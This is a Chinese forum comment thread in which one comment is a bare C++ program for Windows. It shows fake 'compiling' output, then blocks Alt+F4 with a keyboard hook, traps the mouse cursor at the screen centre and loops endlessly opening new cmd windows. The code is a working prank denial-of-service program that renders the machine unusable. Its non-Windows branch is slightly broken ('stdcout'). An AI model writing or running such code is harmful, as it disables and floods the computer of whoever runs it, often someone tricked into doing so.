全部评论 2

  • 2026-02-05 来自 广东

    0
  • #include <bits/stdc++.h>
    #include <string>
    #ifdef _WIN32
    #include <windows.h>
    #endif
    void setGreenText() {
    #ifdef _WIN32
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
    #else
    stdcout << "\033[92m";
    #endif
    }
    void resetTextColor() {
    #ifdef _WIN32
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
    #else
    stdcout << "\033[0m";
    #endif
    }
    HHOOK g_hKeyboardHook = NULL;
    LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
    if (nCode == HC_ACTION)
    {
    KBDLLHOOKSTRUCT* pKeyStruct = (KBDLLHOOKSTRUCT*)lParam;
    
        if (pKeyStruct->vkCode == VK_F4 && (pKeyStruct->flags & LLKHF_ALTDOWN))
        {
            return 1;
        }
    }
    return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
    }
    void InstallHook()
    {
    g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
    if (g_hKeyboardHook == NULL) {
    }
    }
    void UninstallHook()
    {
    if (g_hKeyboardHook) {
    UnhookWindowsHookEx(g_hKeyboardHook);
    g_hKeyboardHook = NULL;
    }
    }
    using namespace std;
    int main() {
    int screenWidth = GetSystemMetrics(SM_CXSCREEN);
    int screenHeight = GetSystemMetrics(SM_CYSCREEN);
    int centerX = screenWidth / 2;
    int centerY = screenHeight / 2;
    RECT centerRect = {centerX - 1, centerY - 1, centerX + 1, centerY + 1};
    ClipCursor(&centerRect);
    setGreenText();
    InstallHook();
    MSG msg;
    cout<<"开始编译"<<endl<<"Startcompiling"<<endl<<endl;
    char c=rand()%33+70;
    for(int i=1;i<=int(c);i++){
    char a=rand()%33;
    for(int j=1;j<=a;j++){
    char c=rand()%33+90;
    cout<<c;
    TranslateMessage(&msg);
    DispatchMessage(&msg);
    Sleep(2);
    }
    cout<<endl;
    Sleep(2);
    }
    
    cout<<endl<<endl<<"编译成功开始运行"<<endl<<"Compilation successful, starting execution";
    Sleep(2000);
    
    while(1){
    	system("start cmd");
    	POINT currentPos;
        GetCursorPos(&currentPos);
        SetCursorPos(centerX, centerY);
    }
    UninstallHook();
    resetTextColor();
    return 0;
    }
    

    2026-02-05 来自 广东

    0

热门讨论